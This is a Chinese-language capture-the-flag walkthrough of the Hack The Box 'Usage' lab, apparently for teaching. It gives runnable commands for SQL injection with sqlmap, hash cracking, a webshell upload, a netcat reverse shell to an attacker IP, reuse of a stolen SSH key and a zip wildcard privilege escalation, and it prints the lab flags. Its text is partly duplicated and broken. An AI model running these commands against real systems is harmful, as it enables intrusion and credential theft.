[Meachines][Easy] Usage
字数 1195 2025-08-19 12:42:24

HTB靶机Usage渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行初始扫描:

nmap -sV -sC 10.10.11.18 --min-rate 1000

1.2 主机文件配置

将目标主机添加到/etc/hosts文件中:

echo '10.10.11.18 usage.htb admin.usage.htb' >> /etc/hosts

2. Web应用测试

2.1 发现SQL注入漏洞

/forget-password页面发现SQL注入点:

email=maptnh%40log.com'+AND+5212%3dBENCHMARK(5000000,MD5(0x62434473))--+NKGG

2.2 使用SQLMap进行自动化注入

  1. 确认注入点:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch
  1. 枚举数据库:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch --dbs --threads 10
  1. 选择目标数据库:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog --threads 10
  1. 提取管理员凭据:
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users -C username,password --dump --threads 10

获取到哈希值:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

2.3 破解哈希

  1. 保存哈希到文件:
echo "$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2">hash
  1. 使用John破解:
john hash --show

获取到明文密码:whatever1

3. 获取初始访问权限

3.1 登录后台

使用获取的凭据登录:

URL: http://admin.usage.htb
用户名: admin
密码: whatever1

3.2 利用CVE-2023-24249任意文件上传漏洞

  1. 在修改头像处抓包上传webshell
  2. Webshell内容为完整的PHP反向shell代码

3.3 访问上传的Webshell

Webshell路径:

http://admin.usage.htb/uploads/images/1.jpg.php

3.4 建立反向Shell

由于上传的文件会自动删除,建议建立反向shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 10032 >/tmp/f

4. 权限提升

4.1 获取User Flag

cd ~
cat user.txt

User Flag: c2d7e977f5bf1e5489600557a46274af

4.2 发现其他用户

  1. 查看.ssh目录:
ls -la
  1. 获取SSH私钥:
cat .ssh/id_rsa
  1. 使用私钥登录:
chmod 400 id_rsa
ssh -i id_rsa dash@10.10.11.18
  1. 检查系统用户:
cat /etc/passwd

发现xander用户

4.3 获取xander用户凭据

在.monitrc文件中找到xander用户的密码:

cat .monitrc

密码: `3nc0d3d_pa

\[w0rd` ### 4.4 登录xander用户 ```bash ssh xander@10.10.11.18 ``` ### 4.5 检查sudo权限 ```bash sudo -l ``` 发现可以以root权限运行`/usr/bin/usage_management` ### 4.6 分析usage_management程序 ```bash strings /usr/bin/usage_management ``` 发现程序使用zip进行压缩,并使用了通配符* ### 4.7 利用zip特性提权 1. 创建特殊文件: ```bash cd /var/www/html/ touch '@root.txt' ``` 2. 创建软链接: ```bash ln -s -r /root/root.txt root.txt ``` 3. 执行特权程序: ```bash sudo /usr/bin/usage_management ``` 选择第一个选项 ### 4.8 获取Root Flag 程序执行后,可以读取root.txt内容: ```bash cat root.txt ``` Root Flag: `4db7d21fd012953e657d461c1c6c0900` ## 5. 技术要点总结 1. **SQL注入利用**:通过忘记密码功能发现SQL注入点,使用SQLMap自动化提取数据库信息 2. **哈希破解**:识别哈希类型为bcrypt,使用John the Ripper进行破解 3. **文件上传漏洞**:利用已知CVE漏洞上传webshell获取初始访问权限 4. **权限提升路径**: - 通过SSH私钥横向移动到dash用户 - 在配置文件中发现xander用户凭据 - 利用sudo权限执行usage_management程序 - 利用zip的-snl参数特性读取root文件 5. **关键命令**: - 反向shell构造 - 软链接创建 - sudo权限检查 - 字符串分析\]

HTB靶机Usage渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行初始扫描: 1.2 主机文件配置 将目标主机添加到/etc/hosts文件中: 2. Web应用测试 2.1 发现SQL注入漏洞 在 /forget-password 页面发现SQL注入点: 2.2 使用SQLMap进行自动化注入 确认注入点: 枚举数据库: 选择目标数据库: 提取管理员凭据: 获取到哈希值: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 2.3 破解哈希 保存哈希到文件: 使用John破解: 获取到明文密码: whatever1 3. 获取初始访问权限 3.1 登录后台 使用获取的凭据登录: 3.2 利用CVE-2023-24249任意文件上传漏洞 在修改头像处抓包上传webshell Webshell内容为完整的PHP反向shell代码 3.3 访问上传的Webshell Webshell路径: 3.4 建立反向Shell 由于上传的文件会自动删除,建议建立反向shell: 4. 权限提升 4.1 获取User Flag User Flag: c2d7e977f5bf1e5489600557a46274af 4.2 发现其他用户 查看.ssh目录: 获取SSH私钥: 使用私钥登录: 检查系统用户: 发现xander用户 4.3 获取xander用户凭据 在.monitrc文件中找到xander用户的密码: 密码: 3nc0d3d_pa$$w0rd 4.4 登录xander用户 4.5 检查sudo权限 发现可以以root权限运行 /usr/bin/usage_management 4.6 分析usage_ management程序 发现程序使用zip进行压缩,并使用了通配符* 4.7 利用zip特性提权 创建特殊文件: 创建软链接: 执行特权程序: 选择第一个选项 4.8 获取Root Flag 程序执行后,可以读取root.txt内容: Root Flag: 4db7d21fd012953e657d461c1c6c0900 5. 技术要点总结 SQL注入利用 :通过忘记密码功能发现SQL注入点,使用SQLMap自动化提取数据库信息 哈希破解 :识别哈希类型为bcrypt,使用John the Ripper进行破解 文件上传漏洞 :利用已知CVE漏洞上传webshell获取初始访问权限 权限提升路径 : 通过SSH私钥横向移动到dash用户 在配置文件中发现xander用户凭据 利用sudo权限执行usage_ management程序 利用zip的-snl参数特性读取root文件 关键命令 : 反向shell构造 软链接创建 sudo权限检查 字符串分析